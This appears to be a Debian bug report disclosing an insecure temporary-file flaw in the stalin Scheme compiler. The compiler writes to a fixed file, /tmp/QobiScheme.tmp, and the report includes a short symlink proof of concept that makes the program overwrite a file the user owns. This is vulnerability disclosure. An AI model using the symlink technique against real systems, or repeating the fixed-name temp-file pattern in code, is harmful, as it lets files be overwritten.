When `stalin` launches it attempts to detect its environment via the following code in /usr/lib/stalin/QobiScheme.sc: (system "uname -m >/tmp/QobiScheme.tmp") ... (system "rm -f /tmp/QobiScheme.tmp")) This is a prime example of the insecure use of temporary files, and allows overwriting any file owned by the user who invokes stalin. Trivial demonstration: $ ln -s /home/steve/HACK /tmp/QobiScheme.tmp $ ls -l /home/steve/HACK ls: cannot access /home/steve/HACK: No such file or directory Now run the sample code: $ cd /tmp/stalin-0.11/benchmarks $ ./make-hello And we see this: $ ls -l /home/steve/HACK -rw-r--r-- 1 steve steve 6 Dec 22 08:30 /home/steve/HACK -- System Information: Debian Release: 8.2 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages stalin depends on: ii dpkg-dev 1.17.26 ii libc6 2.19-18+deb8u1 ii libgc-dev 1:7.2d-6.4 stalin recommends no packages. stalin suggests no packages. -- no debconf information Steve